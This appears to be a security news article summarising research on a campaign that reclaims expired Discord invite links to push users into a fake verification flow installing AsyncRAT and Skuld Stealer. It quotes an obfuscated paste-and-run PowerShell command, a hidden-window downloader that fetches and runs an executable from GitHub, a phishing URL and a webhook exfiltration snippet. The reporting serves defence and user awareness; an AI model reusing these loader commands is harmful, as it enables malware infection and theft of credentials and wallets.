Cybercriminals Exploiting Expired Discord Invite Links to Deploy Multi-Stage Malware

Recent investigations by Check Point Research have uncovered a sophisticated malware campaign that leverages a subtle but dangerous weakness in Discord’s invitation system.

Cybercriminals are hijacking expired and deleted Discord invite links, including custom (vanity) and standard codes, to redirect unsuspecting users to malicious servers.

This technique is being used as the initial vector in a multi-stage attack chain, which combines social engineering, evasive payload delivery, and persistent malware designed to compromise crypto wallets and fully control victim machines.

Exploiting Discord’s Invite Link Mechanism

Discord, a go-to communication platform for millions, is designed to make creating and sharing invite links easy.

However, this convenience has inadvertently created a security blind spot. Attackers are now targeting Discord invite links shared by legitimate communities on forums, social media, and official channels.

These links, once expired or removed, can be reclaimed particularly custom “vanity” invites by malicious servers that have subscribed to Discord’s premium “Level 3 Boost.”

How the Exploit Works:

• Types of Discord Invite Links:
  • Temporary Invite Links:
    • Generated with expiration times (e.g., 30 minutes, 7 days).
    • Example: https://discord.gg/T8CA7XrK
  • Permanent Invite Links:
    • Set to “Never Expire.”
    • Example: https://discord.gg/wAYq5GAsyH
  • Custom Vanity Invite Links:
    • Available exclusively to boosted servers.
    • Example: https://discord.gg/yourvanity
• Invite Reuse and Hijacking:
  • Once a temporary or custom invite expires or is deleted, attackers monitoring invite codes can quickly claim them for malicious servers.
  • Custom invite codes, if a server loses its boost, become available for re-registration by another boosted server.
  • Even standard random invite codes (with only lowercase letters and digits) can be re-registered as vanity invites after deletion or expiration.

Invite Hijack Risk Table:

Invite Type	Can Be Hijacked?	Explanation
Temporary Invite Link	Yes	After expiry/deletion, can be re-registered as a vanity invite by another server.
Permanent Invite Link	Conditional	Only if deleted and all-lowercase/digits; can be re-registered as a vanity invite.
Custom Vanity Invite	Yes (if lost boost)	If the original server loses its boost, the vanity invite can be claimed by others.

User Mistake:
Users often believe they have made a temporary invite permanent by checking “Set this link to never expire.” However, this does not change the underlying invite code’s expiration; it remains temporary and vulnerable.

Multi-Stage Malware Delivery and Evasion Techniques

Once users land on a malicious Discord server, they are often directed to a “verify” channel controlled by a fake bot. Here, they are prompted to complete a “verification” step, which involves authorizing the bot and being redirected to an external phishing site. For example, the bot “Safeguard#0786” would redirect users to a phishing site like:

texthttps://captchaguard.me/oauth-pass?code=zyA11weHhTZxaY3Fs3EWBg6qfO7t6j

The phishing page mimics Discord’s UI, tricking users into believing they are undergoing a genuine security check. A fake Google CAPTCHA fails to load, prompting users to paste and execute a pre-loaded PowerShell command manually:

powershellpowershell -NoExit -Command "$r='NJjeywEMXp3L3Fmcv02bj5ibpJWZ0NXYw9yL6MHc0RHa';$u=($r[-1..-($r.Length)]-join '');$url=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($u));iex (iwr -Uri $url)"

This script downloads and executes a PowerShell script from Pastebin, which then uses GitHub to fetch a first-stage downloader (installer.exe). Below is a snippet of the PowerShell script used to download the next stage:

powershellAdd-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("user32.dll")]
    public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
    [DllImport("kernel32.dll")]
    public static extern IntPtr GetConsoleWindow();
}
"@
$consolePtr = [Win32]::GetConsoleWindow()
[Win32]::ShowWindow($consolePtr, 0)  # Hide the console window
$url = "https://github.com/frfs1/update/raw/refs/heads/main/installer.exe"
$exePath = Join-Path $env:TEMP ('installer.exe')
try {
    $webClient = New-Object System.Net.WebClient
    $webClient.DownloadFile($url, $exePath)
    if (-not (Test-Path $exePath) -or ((Get-Item $exePath).length -eq 0)) {
        exit 1
    }
    Start-Process -FilePath $exePath -ArgumentList "-arg1" -NoNewWindow
} catch {
    Write-Output "An error occurred"
}

Key Points on the Infection Chain:

• Multiple Loaders: The infection chain utilizes several loaders, each with distinct functions, including persistence and payload delivery.
• Encrypted Payloads: Subsequent malware payloads are downloaded from Bitbucket in encrypted form and decrypted on the victim’s machine using simple XOR encryption.
• Persistence: The malware establishes persistence through scheduled tasks, utilizing Visual Basic scripts to ensure the malware runs every 5 minutes.
• Evasion: The malware employs obfuscation techniques and sandbox evasion methods, delaying execution to evade detection by automated security tools.

Malicious Payloads: AsyncRAT and Skuld Stealer

The campaign delivers two main payloads:

• AsyncRAT: An open-source remote access trojan providing full control over the victim’s machine.
• Skuld Stealer: A customized information-stealing malware targeting browser credentials, crypto wallets, and Discord tokens.

Skuld Stealer specifically focuses on cryptocurrency wallets (Exodus and Atomic), injecting malicious JavaScript to steal seed phrases and passwords. The stolen data is exfiltrated via Discord webhooks:

goCONFIG["webhook"] = decryptXOR(CONFIG["webhookencr"].(string))
CONFIG["webhook2"] = decryptXOR(CONFIG["webhookencr2"].(string))
// ...standard modules using first webhook...
go mainGowrap1(CONFIG["webhook2"].(string))  // special module for crypto wallet injection

The malware replaces legitimate wallet application files with malicious versions, ensuring that sensitive data is sent to the attacker every time the user interacts with their wallet.

ChromeKatz Bypass:
To bypass Chrome’s App Bound Encryption (ABE), attackers use a customized version of ChromeKatz to steal cookies directly from browser memory, ensuring their effectiveness against the latest browser defenses.

Ongoing Threat and Mitigation

This campaign illustrates how cybercriminals leverage subtle platform features to construct intricate attack chains.

By leveraging trusted services (such as Discord, GitHub, Bitbucket, and Pastebin) and combining social engineering with technical evasion, attackers increase their chances of success.

The abuse of Discord’s invite system is particularly insidious, as it allows criminals to piggyback on the trust users place in established communities.

Mitigation Advice:

• Use permanent invite links wherever possible.
• Regularly check and update shared invites to ensure they have not expired or been hijacked.
• Educate users about the dangers of “verification” prompts and unauthorized bot interactions.
• Deploy endpoint protection capable of detecting and blocking multi-stage malware and suspicious PowerShell activity.

Discord has taken action to disable the specific malicious bot involved in this campaign, but the broader vulnerability remains a concern.

As threat actors continually adapt, vigilance and layered security measures are crucial to protect against increasingly sophisticated attacks.